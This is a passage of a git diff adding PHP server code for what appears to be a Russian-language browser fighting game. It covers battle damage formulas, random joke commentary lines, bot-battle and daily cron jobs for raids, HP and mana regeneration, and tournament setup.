    '); + + $mykrits = floor($this->enemy_dress[2]+($uid_2['inta']*2.95)+$b_u_2['fkrit']); + $heakrits = floor($this->user_dress[3]+($uid_1['inta']*2.75)+$b_u_1['fkrit']); + $myuvorots = floor($this->enemy_dress[4]+$uid_2['lovk']*5); + $heauvorots = floor($this->user_dress[5]+$uid_1['lovk']*4); + $me_koef_armor = $this->user_dress[5+$this->battle[$user_2][$user_1][0]]/50; + + $mfs['he'] = array( + 'udars' => floor(rand(floor($uid_2['sila']/3)+$b_u_2['minu']+1+$this->enemy_dress[0], floor($uid_2['sila']/3)+$b_u_2['maxu']+4+$this->enemy_dress[1])), + 'chanse' => $this->getmfs($myuvorots, $heauvorots), + 'chanse_krit' => $this->getmfs($mykrits, $heakrits) + ); + $mfs['he']['udar'] = $mfs['he']['udars']-($this->user_dress[5+$this->battle[$user_2][$user_1][0]]*$me_koef_armor); + if($bmfud1 < 5) { $mfs['he']['udar'] += $bmfud1; } + if($mfs['he']['udar'] < 0) { $mfs['he']['udar'] = 0; } + if($bmfud1 >= 5) { $mfs['he']['udar'] += $bmfud1; } + + $uron_vlad_he = 0; + switch($this->GetWeaponType($uid_2['weap'])) { + case "noj": $uron_vlad_he += $uid_2['noj']; break; + case "dubina": $uron_vlad_he += $uid_2['dubina']; break; + case "topor": $uron_vlad_he += $uid_2['topor']; break; + case "mech": $uron_vlad_he += $uid_2['mec']; break; + } + $mfs['he']['udar'] += $uron_vlad_he; + + #$this->AddToLog('{ Id = '.$uid_2['id'].'| URON_not_koef = '.$mfs['he']['udars'].'| Uron_finish = '.$mfs['he']['udar'].'| Koef_arm = '.$me_koef_armor.'| Armor = '.$this->user_dress[5+$this->battle[$user_2][$user_1][0]].' | Um = '.$uron_vlad_he.'| Weap = '.$this->GetWeaponType($uid_2['weap']).' }
    '); + + $mfs['he']['udar'] = round($mfs['he']['udar']); + if($mfs['he']['udar'] < 1) { $mfs['he']['udar'] = 1; } + + return $mfs; + } + + function makechange($u1, $u2, $at_1, $at_2, $def_1, $def_2) { + $this->init_botRazmen($u1, $u2, $at_1, $def_1); + } + + function UpdateBattle () { + return mysql_query("UPDATE `battle` SET `exp` = '".serialize($this->exp)."', `teams` = '".serialize($this->battle)."', `damage` = '".serialize($this->damage)."' WHERE `id` = '".$this->battle_data['id']."' LIMIT 1"); + } + + function GetComment() { + $boycom = array('А танцуешь ты лучше.','А мы что, в прятки тут играем?','А вы разве пингвинов никогда не видели?','А, ведь когда-то, вы были красивыми… А теперь? Ну и рожи! Жуть!','А потом еще труп пинать будут.','А я вчера ночью за соседями подглядывал. Они точно так же кувыркались','А ведь вы живых людей дубасите...','А вот я вчера в зоопарке был...','А вы в стройбате не служили?','А вы видели, чтобы так на улице делали!?','А вы знали что ёжики размножаются в интернете?','А жить-то, как хочется:','А из-за чего вы собственно дерётесь?','А чего ржёте, вы ещё остальных не видели','А что произойдёт если ты испугаешся до полусмерти дважды?!','Больше так не делай. Ты же не садист?','Без комментариев...','Больно ведь!','Быстро ты за монитор спрятался!','Все хотят попасть в рай, но никто не хочет умирать!','Вчера с такой девчонкой познакомился.','Всего 5 минут знакомы, а дерутся, словно супруги с 20-ти летним стажем...','Все. Я так больше не могу.','В конце концов, кто-то победит?','Вы чего, с дерева упали?','Возятся как сонные мухи... давайте я вам лучше анекдот расскажу: ...','Вот видишь, как полезно чистить зубы на ночь?','Вот вы все руками махаете, а за вами уже очередь','Вот попадёте вы в плен и вас там будут долго бить. Но вы ничего не расскажете... и не потому, что вы такой стойкий, просто вы ничего не знаете','Вы бы лучше пошли потренировались!','Вы все еще разминаетесь? Позовите, когда кости в муку друг другу разминать будете.','Вы же бойцы! Имейте совесть!','Гаси недоумка!','Да, если бы я смог это остановить, то получил бы нобелевскую премию `За мир` ','Да куда они бьют?!','Давайте быстрее! За вами уже очередь образовалась.','Давайте обойдемся сегодня таймаутом. А? А то мне уже кошмары скоро будут сниться.','Дерутся как девчонки!','Дети, посмотрите налево... Ой!.. Нет, туда лучше не смотреть.','Если так будет продолжаться, то скоро мы заснем!','Если бы у меня было кресло-качалка, я бы в нём качался...','Если вы что-то сказать хотите, то лучше молчите :)','Жестокость не порок.','Жизнь вне нашего клуба - это пустая трата кислорода!!!','Жми! Дави! Кусай! Царапай!','За такие бои надо в хаос отправлять!','Знаете откуда в комиссионном магазине столько вещей? Это я после ваших гулянок собираю и сдаю туда. Иногда вместе с частями тела, застрявшими в них.','Здесь люди так близки друг к другу. Просто иначе ударить нельзя.','И пролитая кровь еще пульсирует...','Инвалидов развелось...','Какой бой!!!','Кто!? Кто здесь?!','Кто вас этому научил?','Кузнечик, блин...','Куплю импортный проигрыватель грампластинок.','Лошадью ходи!','Лучше враг, чем друг - враг.','Ладно, вы тут пока друг друга за волосы таскайте, а я пойду, пообедаю.','Мне ваш балет уже надоел!','Может, начнется-таки настоящий бой???','Мысли лезут в голову изнутри, а удары снаружи.','Ну и где ваши коронные удары? Где живописные падения я спрашиваю!','Ну, нельзя же так наотмашь лупить!','Надо раньше было думать, теперь смертельно поздно...','На такое зрелище билеты продавать можно. Народ ухохочется!','Нет! Не надо драки! А... ладно деритесь, все равно не умеете.','Нет, ну должен быть повод, должен же быть повод?','Нет, я отказываюсь это комментировать!','Не таких обламывали!','Ну выпили вы рюмку, ну две... ну литр, ну два... так зачем же после этого драку затевать?!','Ну и кто за этот погром платить будет?','Ну и оскал у вас. Из вашей улыбки кастеты делать можно.','Ну, что же ты..? Не печалься. Выше голову, так по ней удобней попасть.','Ничего... Блок тоже удар.','Обернись!!!.... Поздно...','Ого! Научите меня так не делать.','Осторожно! Сделаешь дырочку, уже не запломбируешь!','Оно вам надо???','Обычное дело...там что-то отклеилось.','Ой, и заболтался я с вами...','Он же не промахнётся если ты не отойдёшь!','По-моему, кому-то светит инвалидность.','Подкинь ему грабли, на которые он еще не наступал.','Прав был кот Леопольд, давайте жить дружно?','При ударе в живот нарушается кислотно-щелочной баланс.','Проверь, не торчит ли у тебя нож из живота.','Перестаньте мне орать!','Подкинь ему грабли, на которые он еще не наступал.','Прыгают тут как блохи... Все, я пошел за дихлофосом!','Разбудите меня когда эта порнография закончится...','Ребенок сильнее ударил бы!','Славно вмазал!','Славно они веселятся','Смотрю вот на вас, и слезы наворачиваются.','Сначала учатся ходить, а потом только в драку лезут.','Так они друг другу что-нибудь сломают.','Так ты ему все кости переломаешь!','У меня в подъезде точно так же соседа отмудохали','Убогих развелось...','Ух ты, какой прыткий!','Фашист!! Надо ж, так по больному месту врезать...','Хватит бить его об угол моей кабинки! Мне же потом ее чинить.','Хулиганы, прекратите немедленно!','Хочешь, подскажу, куда он ударит?','Хорошо, что у меня ловкости больше чем у вас всех, а то б вы и меня в инвалидную коляску посадили бы.','Хороший бой!','Хороший удар!','Хиляк-разрядник!','Что ты его за волосы схватил?! Отпусти немедленно!','Щас я вас настигну, вот тогда мы и похохочем','Это была какая-то неизвестная мне техника...','Это же противник, а не глина! Хватит мяться!','Это не бой, это издевательское избиение.','Это поубавит спеси','Это и был твой план `Б` ?','Это была какая-то неизвестная мне техника...','Я же предупреждал, - будет больно.','Я не страдаю безумием. Я наслаждаюсь им каждую минуту :)','Я красивый, я сильный, я умный, я добрый. А вот вы? Вы себя-то видели?!','Я тоже умею драться, но не буду...','(тревожно озираясь) я вам по секрету скажу... за вами наблюдают!','<вырезано цензурой> после боя я этих <вырезано цензурой> обоих в <вырезано цензурой> и <вырезано цензурой>','<вырезано цензурой> каратисты фиговы', '<вырезано цензурой> <вырезано цензурой>,<вырезано цензурой> на <вырезано цензурой> <вырезано цензурой> <вырезано цензурой>! Нет, это уже слишком!'); + if(mt_rand(0, 4) == 1) { + return ''.date("H:i").' Комментатор: '.$boycom[mt_rand(0, count($boycom)-1)].'
    '; + } else { + return false; + } + } + + function GetTimeout() { + if($this->battle) { + if($this->my_class == 'B1') { + if($this->to2 <= $this->to1) { + return ((time()-$this->to2) > $this->battle_data['timeout']*60); + } else { + return false; + } + } else { + if($this->to2 >= $this->to1) { + return ((time()-$this->to1) > $this->battle_data['timeout']*60); + } else { + return false; + } + } + } + } + + function AddToLog($text) { + $this->log .= $text; + } + + function AddToLogBot($text) { + if($this->log != $text) { + $this->log .= $text; + } + } + + function write_log() { + if($this->log) { + $this->log = $this->log."
    "; + } + addlogs($this->battle_data['id'], $this->log); + $this->log = ''; + } + +} + +$r = mysql_query("SELECT `id`, `win` FROM `battle` WHERE `win` = 3"); + +while($rec = mysql_fetch_array($r)) { + $fbattle = new fbattle($rec['id']); + if($fbattle->battle_data['needbb']) { + foreach($fbattle->battle as $k => $v) { + if($k > _BOTSEPARATOR_) { + foreach($v as $k2 => $v2) { + if($k2 < _BOTSEPARATOR_) continue; + $hp_1 = mysql_fetch_array(mysql_query('SELECT `hp` FROM `bots` WHERE `id` = "'.$k.'" LIMIT 1')); + $hp_2 = mysql_fetch_array(mysql_query('SELECT `hp` FROM `bots` WHERE `id` = "'.$k2.'" LIMIT 1')); + if($fbattle->battle[$k][$k2][0] && $fbattle->battle[$k2][$k][0] && $hp_1['hp'] > 0 && $hp_2['hp'] > 0) { + $at_1 = $fbattle->battle[$k][$k2][0]; + $def_1 = $fbattle->battle[$k][$k2][1]; + $at_2 = $fbattle->battle[$k2][$k][0]; + $def_2 = $fbattle->battle[$k2][$k][1]; + $fbattle->makechange($k, $k2, $at_1, $at_2, $def_1, $def_2); + $fbattle->write_log(); + $fbattle->battle[$k][$k2] = array(0, 0, time()); + $fbattle->battle[$k2][$k] = array(0, 0, time()); + $fbattle->needupdate = 1; + $fbattle->battle_end(); + } + } + } + } + if($fbattle->needupdate) { + $fbattle->UpdateBattle(); + } + echo 'Bb id = |'.$rec['id'].'|'; + } else { + echo '{No bb Id = |'.$rec['id'].'|}'; + } +} diff --git a/cron_bs.php b/cron_bs.php new file mode 100644 index 0000000..e8d4d57 --- /dev/null +++ b/cron_bs.php @@ -0,0 +1,7 @@ + diff --git a/cron_test.php b/cron_test.php new file mode 100644 index 0000000..46d8f0f --- /dev/null +++ b/cron_test.php @@ -0,0 +1,971 @@ +"1","1"=>"1","2"=>"2"); + mysql_query("UPDATE `users` SET `abil`='".serialize($abil)."' WHERE `align`='2' OR `align`='8.31';"); + $abil=array("0"=>"3","1"=>"0","2"=>"0"); + mysql_query("UPDATE `users` SET `abil`='".serialize($abil)."' WHERE `level`='7' AND `align`='6';"); + $abil=array("0"=>"3","1"=>"2","2"=>"0"); + mysql_query("UPDATE `users` SET `abil`='".serialize($abil)."' WHERE `level`='8' AND `align`='6';"); + $abil=array("0"=>"3","1"=>"2","2"=>"1"); + mysql_query("UPDATE `users` SET `abil`='".serialize($abil)."' WHERE `level`>='9' AND `align`='6';"); + for($i=0;$i<10;$i++) $abil[$i]=9; + mysql_query("UPDATE `users` SET `abil`='".serialize($abil)."' WHERE `align`>'7' AND `align`<'8';"); + //обнуляем диггеров + mysql_query("UPDATE digger SET count_dig='0',count_guard='0';"); + //обнуляем подарки + mysql_query("UPDATE `users` SET `podarokAD`='0';"); + //обнуляем реферала месяца + if(date("d")=="01") + { + mysql_query("UPDATE variables SET value='{$tm}' WHERE var='ref_month';"); + mysql_query("UPDATE variables SET value='0' WHERE var='ref_m_id';"); + } + //обнуляем реферала недели + if(date("N")=="7") + { + mysql_query("UPDATE variables SET value='{$tm}' WHERE var='ref_week';"); + mysql_query("UPDATE variables SET value='0' WHERE var='ref_w_id';"); + } + //обнуляем парк + mysql_query("UPDATE `cit_park` SET `counter`=0,`bots`='',`room`=0;"); + //задаем рейд на замок + $cc_time=$tm+rand(60*60*14,60*60*14.5); + mysql_query("UPDATE variables SET value='{$cc_time}' where var='cc_time';"); + +} +if(date("H-i")=="09-00") +{ + //задаем рейд на ЦХ - 10-11 + $ch_time=$tm+rand(60*60*1,60*60*2); + mysql_query("UPDATE variables SET value='{$ch_time}' where var='cit_haos_time';"); +} +//задаем рейд утром +if(date("H-i")=="10-00") +{ + //задаем рейд на город + $raid_time=$tm+rand(60*60*1.5,60*60*2.5); + mysql_query("UPDATE variables SET value='{$raid_time}' where var='raid_on_city';"); +} +if(date("H-i")=="20-00") +{ + //задаем рейд на ЦХ - 21-22 + $ch_time=$tm+rand(60*60*1,60*60*2); + mysql_query("UPDATE variables SET value='{$ch_time}' where var='cit_haos_time';"); + +} + +//берем дату и время Замка Мэра +if(date("z-H-i")==date("z-H-i",$c_castle['value'])) +{ + $c_castle=mysql_query("SELECT `value` FROM variables WHERE var='cc_time' LIMIT 1;"); + addchsys('Начинается прием заявок на владение Замком Мэра! Начало боя через 15 минут.'); +} +//кто нападает +$cca=$c_castle['value']+930; +if(date("z-H-i")==date("z-H-i",$cca)) +{ + $cc_own=mysql_fetch_array(mysql_query("SELECT `value` FROM variables WHERE var='castle_owner' LIMIT 1;")); + $cc_k=mysql_fetch_array(mysql_query("SELECT `name` FROM `clans` WHERE `id` = '{$cc_own['value']}' LIMIT 1;")); + $cc_att=mysql_fetch_array(mysql_query("SELECT `value` FROM variables WHERE var='castle_att' LIMIT 1;")); + $cc_a=mysql_fetch_array(mysql_query("SELECT `name` FROM `clans` WHERE `id` = '{$cc_att['value']}' LIMIT 1;")); + if($cc_own['value']>0 && $cc_att['value']>0) {addchsys('Клан '.$cc_a['name'].' готовится к битве за Замок Мэра с кланом '.$cc_k['name'].'! Начало боя через 1 минуту!');} + elseif($cc_own['value']>0 && $cc_att['value']==0) {addchsys('Никто не осмелился оспорить права клана '.$cc_a['name'].' на Замок Мэра');} + elseif($cc_own['value']==0 && $cc_att['value']>0) {addchsys('Клан '.$cc_k['name'].' готовится к битве за Замок Мэра с силами Хаоса! Начало боя через 1 минуту!');} + elseif($cc_own['value']==0 && $cc_att['value']==0) {addchsys('Никто не осмелился отбить у сил Хаоса Замок Мэра');} +} +//берем дату-время рейда +$raid_t=mysql_fetch_array(mysql_query("SELECT * FROM variables WHERE var='raid_on_city' limit 1;")); +$ch_t=mysql_fetch_array(mysql_query("SELECT * FROM `variables` WHERE `var` = 'cit_haos_time' LIMIT 1;")); +//берем дату-время ЦХ +$raid_r=date("r",$raid_t['value']); +$ch_r=date("r",$ch_r['value']); + $zay_dub=mysql_fetch_array(mysql_query("SELECT * FROM zayavka WHERE `team1` LIKE '1000%' limit 1;")); +//рейд на город +if(date("H-i")==date("H-i",$raid_t['value']) && !$zay_dub['id']>0) +{ + mysql_query("UPDATE variables SET value='2' where var='raid_on_status';"); +} +//рейд на ЦХ +if(date("z-H-i")==date("z-H-i",$ch_t['value'])) +{ + mysql_query("DELETE FROM `cit_haos_status`;"); + mysql_query("DELETE FROM `cit_haos_var`;"); + + addchsys('Начинается прием заявок в рейд на Цитадель Хаоса! Начало рейда через 15 минут.'); +} +// hp operations + + //комплекты - костыль + $komp_users = mysql_query("SELECT * FROM `users`,`online` WHERE `users`.`id`=`online`.`id` AND `online`.`date` >= ".(time()-60).";"); + while($ku=mysql_fetch_array($komp_users)) + { + GiveExp($ku['id'],0); + $kompl_raw=mysql_query("SELECT * FROM inventory where owner=".$ku['id']." AND dressed=1"); + + $items_on_user=array(); + $set_id_wear=array(); + $kompl_ghp=0; + $kompl_gmana=0; + while ($kompl=mysql_fetch_array($kompl_raw)) + { + $items_on_user[]=$kompl['prototype']; + }; + $sets_raw=mysql_query("SELECT * FROM item_sets;"); + while ($set_items=mysql_fetch_array($sets_raw)) + { + $kompl_full=1; + $in_set=explode(',',$set_items['prot_id']); + foreach($in_set as $tmp_set) + if (!in_array($tmp_set,$items_on_user)) + {$kompl_full=0;} + if ($kompl_full==1) $set_id_wear[]=$set_items['set_id']; + + }; + foreach($set_id_wear as $s) + { + $items_raw=mysql_fetch_array(mysql_query("SELECT `ghp`,`gmana` FROM item_sets where set_id='{$s}' limit 1;")); + $kompl_ghp+=$items_raw['ghp']; + $kompl_gmana+=$items_raw['gmana']; + }; + if(!$kompl_ghp) $kompl_ghp=0; + if(!$kompl_gmana) $kompl_gmana=0; + mysql_query("UPDATE `users` SET `maxhp` = (IFNULL((SELECT SUM(`ghp`) FROM `inventory` WHERE dressed=1 AND owner = `users`.id),0) + (users.vinos*6)+'{$kompl_ghp}') WHERE `id`='{$ku['id']}';"); + mysql_query("UPDATE `users` SET `maxmana` = (IFNULL((SELECT SUM(`gmp`) FROM `inventory` WHERE dressed=1 AND owner = `users`.id),0) + (users.mudra*10)+'{$kompl_gmana}') WHERE `id`='{$ku['id']}';"); + } + + //комплекты * + //mysql_query("UPDATE `users` SET `maxmana` = (IFNULL((SELECT SUM(`gmp`) FROM `inventory` WHERE dressed=1 AND owner = `users`.id),0) + (users.mudra*10));"); + mysql_query("UPDATE `users` SET `hp` = '0' WHERE `hp` < '0' "); + mysql_query("UPDATE `users` SET `mana` = '0' WHERE `mana` < '0' "); + // ломаем шмот + $its = mysql_query("SELECT `id`,`owner`,`name` FROM `inventory` WHERE `dressed` = 0 AND ((`maxdur` <= `duration`) OR (`dategoden` > 0 AND `dategoden` <= '".time()."'));"); + while($it = mysql_fetch_array($its)) + { + //destructitem($it['id']); + mysql_query("DELETE FROM `inventory` WHERE `id` = '".$it['id']."' LIMIT 1;"); + mysql_query("INSERT INTO `delo` (`id` , `author` ,`pers`, `text`, `type`, `date`) VALUES ('','0','\"".$it['name']."\" разрушился id:(cap".$it['id'].").',1,'".time()."');"); + } + // травмы и хаос + $effs = mysql_query("SELECT * FROM `effects` WHERE `time` <= ".time().";"); + mysql_query("DELETE FROM `effects` WHERE `time` <= ".time().";"); + while($eff = mysql_fetch_array($effs)) { + switch ($eff['type']) + { + case 11: + mysql_query("UPDATE `users` SET `sila`=`sila`+'".$eff['sila']."', `lovk`=`lovk`+'".$eff['lovk']."', `inta`=`inta`+'".$eff['inta']."' WHERE `id` = '".$eff['owner']."' LIMIT 1;"); + //deltravma($eff['id']); + break; + case 12: + mysql_query("UPDATE `users` SET `sila`=`sila`+'".$eff['sila']."', `lovk`=`lovk`+'".$eff['lovk']."', `inta`=`inta`+'".$eff['inta']."' WHERE `id` = '".$eff['owner']."' LIMIT 1;"); + break; + case 13: + mysql_query("UPDATE `users` SET `sila`=`sila`+'".$eff['sila']."', `lovk`=`lovk`+'".$eff['lovk']."', `inta`=`inta`+'".$eff['inta']."' WHERE `id` = '".$eff['owner']."' LIMIT 1;"); + break; + case 14: + mysql_query("UPDATE `users` SET `sila`=`sila`+'".$eff['sila']."', `lovk`=`lovk`+'".$eff['lovk']."', `inta`=`inta`+'".$eff['inta']."' WHERE `id` = '".$eff['owner']."' LIMIT 1;"); + break; + case 21: + mysql_query("UPDATE `users` SET `sila`=`sila`-'".$eff['sila']."', `lovk`=`lovk`-'".$eff['lovk']."', `inta`=`inta`-'".$eff['inta']."', `vinos`=`vinos`-'".$eff['vinos']."' WHERE `id` = '".$eff['owner']."' LIMIT 1;"); + break; + case 4: + mysql_query("UPDATE `users` SET `align`='0' WHERE `id` = '".$eff['owner']."' LIMIT 1;"); + break; + } + } + + + $data = mysql_query("SELECT `id`, `fullhptime` FROM `users` WHERE `hp` < `maxhp` AND `battle` = 0;"); + while($user = mysql_fetch_array($data)) { + if ((time()-$user[1])/60 > 0) + { + mysql_query("UPDATE `users` SET `hp` = `hp`+((".time()."-`fullhptime`)/60)*(`maxhp`/20), `fullhptime` = ".time()." WHERE `hp` < `maxhp` AND `id` = '".$user[0]."' LIMIT 1;"); + } + } + $data = mysql_query("SELECT `id`, `fullmptime` FROM `users` WHERE `mana` < `maxmana` AND `battle` = 0;"); + while($user = mysql_fetch_array($data)) { + if ((time()-$user[1])/60 > 0 && $user[1]) + { + mysql_query("UPDATE `users` SET `mana` = `mana`+((".time()."-`fullmptime`)/60)*(`maxmana`/30), `fullmptime` = '".time()."' WHERE `id` = '".$user[0]."' LIMIT 1;"); + } + } + mysql_query("UPDATE `users` SET `hp` = `maxhp`, `fullhptime` = ".time()." WHERE `hp` > `maxhp` AND `battle` = 0;"); + mysql_query("UPDATE `users` SET `mana` = `maxmana`, `fullmptime` = ".time()." WHERE (`mana` > `maxmana` OR `fullmptime` = 0) AND `battle` = 0;"); + + //============================ LAB HAOS ========================================= + /* mysql_query("TRUNCATE TABLE `lab_inv`;"); + mysql_query("TRUNCATE TABLE `lab_bots`;"); + mysql_query("TRUNCATE TABLE `lab_trap`;"); + // cheki + $paymers = rand (50,100); + for($i=1;$i<=$paymers;$i++) { + mysql_query("INSERT INTO `lab_inv` (`id_room`,`type`,`value`) values ('".rand(0,1000)."','1','".(rand(1,10)/100)."');"); + } + for($i=1;$i<=50;$i++) { + mysql_query("INSERT INTO `lab_inv` (`id_room`,`type`,`value`) values ('".rand(0,1000)."','2','".(rand(1,10)/100)."');"); + } + // roomsi + for($i=1;$i<=1000;$i++) { + mysql_query("UPDATE `lab_rooms` SET p1='".rand(0,1000)."',p2='".rand(0,1000)."',p3='".rand(0,1000)."',p4='".rand(0,1000)."',`exit`=0 WHERE `id` = '".$i."' LIMIT 1;"); + } + for($i=1;$i<=800;$i++) { + mysql_query("INSERT INTO `lab_bots` (`id_room`,`id_bot`) values ('".rand(0,1000)."','".(rand(1,4)+78)."');"); + } + for($i=1;$i<=5;$i++) { + mysql_query("INSERT INTO `lab_bots` (`id_room`,`id_bot`) values ('".rand(0,1000)."','233');"); + } + for($i=1;$i<=300;$i++) { + mysql_query("INSERT INTO `lab_trap` (`id_room`,`type`) values ('".rand(0,1000)."','".(rand(1,4))."');"); + } + mysql_query("UPDATE `lab_rooms` SET `exit`=1 WHERE id = ".rand(1,1000)." LIMIT 1;"); + */ + + + //==================================================================================== + //start Haos Match - disabled + $hm_ok=array(); + /*$hm_ongoing=mysql_fetch_array(mysql_query("SELECT `value` FROM `variables` WHERE `var`='haos_match';")); + $hm_ongoing=unserialize($hm_ongoing['value']); + + if($hm_ongoing) + foreach($hm_ongoing as $lvl=>$hm) + { + $check_win=mysql_fetch_array(mysql_query("SELECT `win` FROM `battle` WHERE `id`='{$hm}' LIMIT 1;")); + + if(empty($check_win) || $check_win['win']==1 || $check_win['win']==2 || $check_win['win']==0) $hm_ok[$lvl]=1; + else $hm_ok[$lvl]=0; + } + else*/ + { + $hm_ok['7']=1; + $hm_ok['8']=1; + $hm_ok['9']=1; + $hm_ok['10']=1; + $hm_ok['11']=1; + $hm_ok['12']=1; + } + + /*echo("
    ");
    +     print_r($hm_ok);
    +     echo("
    ");*/ + + if(date("i")%30==0) //%15==0 + { + + + $haos_match=array(); + foreach($hm_ok as $lvl=>$flag) + if($flag==1) + { + mysql_query("INSERT INTO `zayavka` + (`start`, `timeout`, `t1c`, `t2c`, `type`, `level`, `coment`, `team1`, `stavka`, `t1min`, `t2min`, `t1max`, `t2max`,`podan`,`blood`) values + (".(time()+5*60).",5,50,50,2,4,'Бой с силами Хаоса {$lvl}','1001;','',49,{$lvl}, 50, {$lvl}, '".date("H:i")."', '0');"); + $haos_match[$lvl]=mysql_insert_id(); + } + + mysql_query("UPDATE `variables` SET `value`='".serialize($haos_match)."' WHERE `var`='haos_match_zay';"); + addchsys('Силы Хаоса вызывают бойцов клуба 7-12 уровней на поединок! Начало боя через 5 минут в групповых боях '); + } + + // start BS + $tr = mysql_fetch_array(mysql_query("SELECT * FROM `deztow_turnir` WHERE `active` = TRUE")); + $turnirstart = mysql_fetch_array(mysql_query("SELECT `value` FROM `variables` WHERE `var` = 'startbs' LIMIT 1;")); + $dd = mysql_fetch_array(mysql_query("SELECT count(`kredit`) FROM `deztow_stavka`;")); + if($dd[0] < 2 && $turnirstart[0] <= time()) { + mysql_query('UPDATE `variables` SET `value` = \''.(time()+60*60*1).'\' WHERE `var` = \'startbs\';'); + mysql_query("INSERT INTO `deztow_stavka` (`owner`,`kredit`,`time`) values ('1254','30','".time()."' ); "); + } + if(!$tr && $turnirstart[0] <= time() && $dd[0] >= 2){ + // начинаем БС + //mysql_query("LOCK TABLES `shop` WRITE, `deztow_items` WRITE, `deztow_realchars` WRITE, `deztow_charstams` WRITE, `deztow_eff` WRITE, `deztow_gamers_inv` WRITE,`effects` WRITE, `deztow_turnir` WRITE, `deztow_stavka` WRITE, `users` WRITE, `inventory` WRITE, `online` WRITE;"); + $minroom = 501; + $maxroom = 560; + // вычисляем кто прошел в турнир + $data = mysql_query("SELECT dt.owner FROM `deztow_stavka` as dt, `online` as o WHERE (SELECT count(`id`) FROM `effects` WHERE `effects`.`owner` = dt.owner AND ( type=11 OR type=12 OR type=13 OR type=14)) = 0 AND o.id = dt.owner AND room = 31 AND o.`date` >= '".(time()-300)."' ORDER by `kredit` DESC, dt.`time` ASC LIMIT 40;"); + $stavka = mysql_fetch_array(mysql_query("SELECT SUM(`kredit`)*0.7 FROM `deztow_stavka`;")); + // удаляем сразу, чтоб другим не повадно было + if($data) { + mysql_query("TRUNCATE TABLE `deztow_stavka`;"); + mysql_query("TRUNCATE TABLE `deztow_gamers_inv`;"); + } + while($row=mysql_fetch_array($data)) { + // делаем каждому чару бекап в базу специальную, раздеваем и все такое + undressall($row[0]); // раздели + $shmot = mysql_query("SELECT * FROM `inventory` WHERE `owner` = '".$row[0]."';");// бекапим весь шмот + mysql_query("UPDATE `inventory` SET `owner` = 0 WHERE `owner` = '".$row[0]."';"); + while($sh = mysql_fetch_array($shmot)) { + mysql_query("INSERT `deztow_gamers_inv` (`id_item`,`owner`) values ('".$sh[0]."','".$row[0]."');"); + } + // effects + $effs = mysql_query("SELECT * FROM `effects` WHERE `owner` = '".$row[0]."';"); // бекапим ефекты + while($eff = mysql_fetch_array($effs)) { + mysql_query("INSERT `deztow_eff` (`type`, `name`, `time`, `sila`, `lovk`, `inta`, `vinos`, `owner`) + values ('".$eff[1]."','".$eff[2]."','".$eff[3]."','".$eff[4]."','".$eff[5]."','".$eff[6]."','".$eff[7]."','".$eff[8]."');"); + //deltravma($eff['id']); + } + mysql_query("DELETE FROM `effects` WHERE `owner` = '".$row[0]."';"); + // stats + $tec = mysql_fetch_array(mysql_query("SELECT * FROM `deztow_charstams` WHERE `owner` = '{$row[0]}' AND `def`='1';")); + if($tec[0] && $row[0] != 233) { + // умелки + $u = mysql_fetch_array(mysql_query("SELECT * FROM `users` WHERE `id` = '{$row[0]}' LIMIT 1;")); + $master = ($u['noj']+$u['mec']+$u['topor']+$u['dubina']+$u['mfire']+$u['mwater']+$u['mair']+$u['mearth']+$u['mlight']+$u['mgray']+$u['mdark']+$u['master']); + // если есть шаблон - меняем + mysql_query("INSERT `deztow_realchars` (`owner`,`name`,`sila`,`lovk`,`inta`,`vinos`,`intel`,`mudra`,`stats`,`nextup`,`level`,`master`) values + ('".$u['id']."','".$u['login']."','".$u['sila']."','".$u['lovk']."','".$u['inta']."','".$u['vinos']."','".$u['intel']."', + '".$u['mudra']."','".$u['stats']."','".$u['nextup']."','".$u['level']."','".$master."');"); + //создали запись, теперь выставляем статы)) + $stats = ($u['sila']+$u['lovk']+$u['inta']+$u['vinos']+$u['intel']+$u['mudra']+$u['stats'])- + ($t['sila']+$t['lovk']+$t['inta']+$t['vinos']+$t['intel']+$t['mudra']); + if ((int)$stats!=0) { + $fffff=fopen('/tmp/bs_s.dat','a'); +// $tec['sila']=$u['sila']; $tec['lovk']=$u['lovk']; $tec['$inta']=$u['inta']; +// $tec['vinos']=$u['vinos']; $tec['intel']=$u['intel']; $tec['mudra']=$u['mudra']; + fwrite($fffff,print_r($u)."\n"); + fwrite($fffff,print_r($tec)."\n"); + fwrite($fffff,(int)$stats."\n"); + fwrite($fffff,"\n\n\n"); + fclose($fffff); + } //".$stats." + mysql_query("UPDATE `users` SET `sila`='".$tec['sila']."', `lovk`='".$tec['lovk']."',`inta`='".$tec['inta']."',`vinos`='".$tec['vinos']."',`intel`='".$tec['intel']."',`mudra`='".$tec['mudra']."',`stats`='0', + `noj`=0,`mec`=0,`topor`=0,`dubina`=0,`mfire`=0,`mwater`=0,`mair`=0,`mearth`=0,`mlight`=0,`mgray`=0,`mdark`=0,`master`='".$master."',`maxhp`='".($tec['vinos']*6)."',`hp`='".($tec['vinos']*6)."' + WHERE `id` = '".$u['id']."' LIMIT 1;"); + // закончили + } + + // пихаем учасников в БС + $rum = rand($minroom,$maxroom); + $urs[$row[0]] = $rum; + //mysql_query("UPDATE `users` SET `in_tower` = 1, `room` = '".$rum."' WHERE `id` = '".$row[0]."';"); + //mysql_query("UPDATE `online` SET `room` = '".$rum."' WHERE `id` = '".$row[0]."' LIMIT 1 ;"); + // в список участников + $i++; + if($i>1) { $lors .= ", "; } + $lors .= nick3($row[0]); + } + + // arch================ + undressall(233); + mysql_query("DELETE FROM `inventory` WHERE `owner` = '233';"); + $rum = rand($minroom,$maxroom); + mysql_query("UPDATE `users` SET `in_tower` = 1, `chattime` = '999999999999', `room` = '".$rum."' WHERE `id` = '233';"); + mysql_query("UPDATE `online` SET `room` = '".$rum."' WHERE `id` = '233' LIMIT 1 ;"); + $i++; + $lors .= ", ".nick3(233); + //===================== + + // разбрасываем шмот по комнатам + mysql_query("TRUNCATE TABLE `deztow_items`;"); + // айдишники магазинных прототипов + $shmots = array("1","1","92","92","93","93","19","19","20","20","20","23","23","24","14","87","87","6","6", + "17","17","17","17","11","11","12","12","12","28","28","43","43","36","36","36","37","37","37", + "38","38","38","50","50","57","52","52","51","51","48","48","47","47","49","49","59","59","60", + "60","61","61","63","64","64","65","65","66","66","68","68","69","69","72","72","4","5","79","79", + "80","76","75","75","94","94","95","95","82","91","91","34","34","86","86","86","9","9","101","101", + "101","101","101","97","97","97","97","100","100","100","100","171","171","171","171", + "103","103","103","104","105","105","106","106","107","107","108","108","109", + "110","111","112","112","113","113","119","364","284","284","284","284","284","285","285","285","285","286","286","286","286" + ); + while($sh = array_shift($shmots)) { + $shopid = mysql_fetch_array(mysql_query("SELECT * FROM `shop` 